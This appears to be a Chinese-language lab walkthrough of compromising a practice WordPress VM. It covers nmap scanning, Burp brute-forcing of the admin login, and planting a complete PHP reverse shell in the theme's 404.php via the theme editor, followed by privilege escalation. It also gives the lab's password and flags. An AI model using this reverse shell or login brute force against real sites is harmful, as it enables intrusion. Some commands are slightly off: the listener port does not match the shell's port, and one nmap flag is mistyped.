这是一个Wordpress主题编辑器漏洞复现
WordPress主题编辑器是一个内置于WordPress平台的工具,允许用户自定义WordPress站点的外观和功能。通过主题编辑器,用户可以选择预设的主题或上传自定义主题,并定制其全局样式,如颜色、字体、间距等。此外,主题编辑器还可以与插件无缝集成,如Avada Builder等,提供更多高级功能,如自定义页眉、页脚等。它还支持谷歌SEO设置,帮助用户提高网站在搜索结果中的排名。
-
项目目标
使用测试工具对靶机进行渗透测试并获取靶机中至少1个flag。
- 项目要求
1、掌握Nmap的基本使用方法。
2、掌握Burp工具的爆破功能。
3、掌握扫描工具的使用方法。
4、掌握webshell的上传与连接。
5、了解提权的过程与方法。
- 项目涉及知识点
Nmap的基本使用方法、Burp的基本使用方法、一句话木马、webshell管理平台、wordpressCMS、后台扫描、host配置、Linux基础命令
准备工具:Kali Linux Burp NMAP 爆破字典
靶机下载链接:https://pan.baidu.com/s/1Ab166gEbG9v7P7uM4-xqyw
提取码:4399
首先我们要安装并启动靶机
打开我们的KALI(注意需要是网路模式要是NAT)
打开终端进行nmap扫描
nmap -sP 192.168.150.0/24 (注意这里是自己的虚拟网段)
找到靶机ip
扫描主机端口
nmap -ST 192.168.150.136
发现80端口是开着的我们尝试访问80端口
浏览器输入靶机ip
先在host文件中写靶机的域名(管理员权限)
发现登陆选项
利用burp爆破出账号和密码
账户为 admin
密码为 iloverockyou
登录后台成功后,在Appearance->Editor中修改404.php的内容
php代码附上
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
在kali创建监听
nc -nlvp 4444
打开404.PHP(http://shenron/wp-content/themes/twentyeleven/404.php)
打入成功,进入后台
发现打开不了shenron文件,咱们提权
密码也是iloverockyou
打开发现flag{a57e2ff676cd040d58b375f686c7cedc}
在家目录下发现network程序打开它执行network发现可以看到端口,故猜测使用netstat进行查看
我们进行提权
找到第二个flag2{a7ed78963dffd9450a34fcc4a0eecb98}
完结撒花~